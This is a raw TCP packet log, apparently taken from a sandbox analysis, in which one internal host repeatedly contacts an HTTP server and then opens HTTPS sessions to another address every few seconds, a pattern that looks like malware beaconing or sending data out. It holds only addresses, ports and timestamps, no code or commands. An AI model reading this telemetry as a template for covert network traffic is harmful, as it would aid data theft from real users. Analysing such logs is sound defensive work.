                                                                                                          Dec 3, 2024 10:07:59.694756985 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.696090937 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.696135998 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.704077959 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.704159975 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.707262993 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.707304001 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.713555098 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.713608980 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.720829010 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.720885038 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.724673033 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.724714041 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.734544992 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.734581947 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.737777948 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.737827063 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.748128891 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.748172045 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.751101017 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.751140118 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.761818886 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.761856079 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.764774084 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.764810085 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.775536060 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.775584936 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.778541088 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.778585911 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.789225101 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.789263964 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.792155027 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.792198896 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.803423882 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.803467035 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.803478956 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.803519011 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.816587925 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.816643000 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.835717916 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.835755110 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.835791111 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.835824013 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.868757010 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.868812084 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.868881941 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.868917942 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.871825933 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.871875048 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.871942997 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.871973991 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.876399994 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.876445055 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.879369020 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.879403114 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.879409075 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.879442930 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.891202927 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.891237974 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.891248941 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.891283035 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.891288996 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.891323090 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.910558939 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.910623074 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.910708904 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.910743952 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.913140059 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.913172960 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.913191080 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.913222075 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.923012972 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.923058987 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.923136950 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.923171997 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.933249950 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.933312893 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.933322906 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.933358908 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.944777966 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.944843054 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.944854975 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.944909096 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.953768015 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.953839064 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.953846931 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.953896046 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.963593960 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.963666916 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.963784933 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.963824034 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.973730087 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.973799944 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.973809004 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.973860025 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.983242035 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.983309031 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.983401060 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.983438969 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.992258072 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.992322922 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.992387056 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.992424965 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.001390934 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.001456022 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.001466990 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.001503944 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.010183096 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.010242939 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.010258913 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.010293961 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.011518955 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.011569977 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.011616945 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.011679888 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.011727095 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:08:00.525810957 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:00.645775080 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:00.646013021 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:00.646189928 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:00.766145945 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:01.968810081 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:01.973212004 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:02.093446016 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:02.302242994 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:02.353689909 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:03.457870960 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:03.457912922 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:03.457978964 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:03.460316896 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:03.460329056 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:04.724203110 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:04.724277973 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:04.727526903 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:04.727533102 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:04.727802038 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:04.731786966 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:04.779331923 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:05.182600975 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:05.182678938 CET44349814172.67.177.134192.168.2.5
                                                                                                          Dec 3, 2024 10:08:05.182729006 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:05.188462973 CET49814443192.168.2.5172.67.177.134
                                                                                                          Dec 3, 2024 10:08:10.509001017 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:10.629084110 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:10.838803053 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:10.884946108 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:10.987449884 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:10.987489939 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:10.987554073 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:10.988054037 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:10.988069057 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:12.400612116 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:12.400686026 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:12.402599096 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:12.402606964 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:12.402842045 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:12.404386044 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:12.451333046 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:12.451395035 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:12.451401949 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:13.063586950 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:13.063690901 CET44349831149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:13.063745975 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:13.064152956 CET49831443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:13.213227034 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:13.214443922 CET4983780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:13.333719015 CET8049807193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:13.333781958 CET4980780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:13.334470034 CET8049837193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:13.334546089 CET4983780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:13.334702015 CET4983780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:13.454571962 CET8049837193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:14.547318935 CET8049837193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:14.548990965 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:14.549046993 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:14.549132109 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:14.549921036 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:14.549937010 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:14.588087082 CET4983780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:15.909826040 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:15.911549091 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:15.911577940 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:15.911634922 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:15.911644936 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:16.572587967 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:16.572664976 CET44349842149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:16.572830915 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:16.573153019 CET49842443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:16.577709913 CET4984880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:16.697768927 CET8049848193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:16.697858095 CET4984880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:16.697962999 CET4984880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:16.817890882 CET8049848193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:18.319653988 CET8049848193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:18.320969105 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:18.321018934 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:18.321094990 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:18.321367979 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:18.321382999 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:18.369478941 CET4984880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:19.780359983 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:19.822447062 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:19.827480078 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:19.827500105 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:19.827586889 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:19.827596903 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:20.684988976 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:20.685110092 CET44349851149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:20.685178041 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:20.685626984 CET49851443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:20.690805912 CET4984880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:20.691814899 CET4985780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:20.811111927 CET8049848193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:20.811218023 CET4984880192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:20.811706066 CET8049857193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:20.811780930 CET4985780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:20.811891079 CET4985780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:20.931798935 CET8049857193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:22.804289103 CET8049857193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:22.839510918 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:22.839554071 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:22.839612961 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:22.839889050 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:22.839901924 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:22.853699923 CET4985780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:24.245956898 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:24.247615099 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:24.247654915 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:24.247715950 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:24.247724056 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:24.934370995 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:24.934541941 CET44349864149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:24.934596062 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:24.934937954 CET49864443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:24.938741922 CET4985780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:24.939814091 CET4986980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:25.059501886 CET8049857193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:25.059698105 CET4985780192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:25.059783936 CET8049869193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:25.059855938 CET4986980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:25.060040951 CET4986980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:25.179907084 CET8049869193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:26.832870960 CET8049869193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:26.834481955 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:26.834525108 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:26.834615946 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:26.834943056 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:26.834959030 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:26.885060072 CET4986980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:28.258903027 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:28.260943890 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:28.260973930 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:28.261020899 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:28.261030912 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:29.088251114 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:29.088388920 CET44349874149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:29.088458061 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:29.089413881 CET49874443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:29.112016916 CET4986980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:29.113399982 CET4988080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:29.234740973 CET8049869193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:29.234817028 CET4986980192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:29.235008955 CET8049880193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:29.235085011 CET4988080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:29.235251904 CET4988080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:29.355972052 CET8049880193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:30.469878912 CET8049880193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:30.471200943 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:30.471240044 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:30.471343040 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:30.471616983 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:30.471631050 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:30.509970903 CET4988080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:31.931579113 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:31.934571028 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:31.934611082 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:31.934654951 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:31.934662104 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:32.581763029 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:32.581851959 CET44349885149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:32.582081079 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:32.582372904 CET49885443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:32.585388899 CET4988080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:32.586627960 CET4989080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:32.709280014 CET8049880193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:32.709292889 CET8049890193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:32.709388018 CET4988080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:32.709428072 CET4989080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:32.709659100 CET4989080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:32.829530954 CET8049890193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:33.899415016 CET8049890193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:33.901041031 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:33.901082039 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:33.901165962 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:33.901452065 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:33.901464939 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:33.947535038 CET4989080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:35.263245106 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:35.264904976 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:35.264935017 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:35.264998913 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:35.265005112 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:35.925127029 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:35.925303936 CET44349894149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:35.925389051 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:35.925756931 CET49894443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:35.928833008 CET4989080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:35.930093050 CET4990080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:36.049257994 CET8049890193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:36.049335957 CET4989080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:36.050019026 CET8049900193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:36.050092936 CET4990080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:36.050265074 CET4990080192.168.2.5193.122.130.0
                                                                                                          Dec 3, 2024 10:08:36.170135975 CET8049900193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:37.212111950 CET8049900193.122.130.0192.168.2.5
                                                                                                          Dec 3, 2024 10:08:37.226476908 CET49903443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:37.226506948 CET44349903149.154.167.220192.168.2.5
                                                                                                          Dec 3, 2024 10:08:37.226588964 CET49903443192.168.2.5149.154.167.220
                                                                                                          Dec 3, 2024 10:08:37.226872921 CET49903443192.168.2.5149.154.167.220
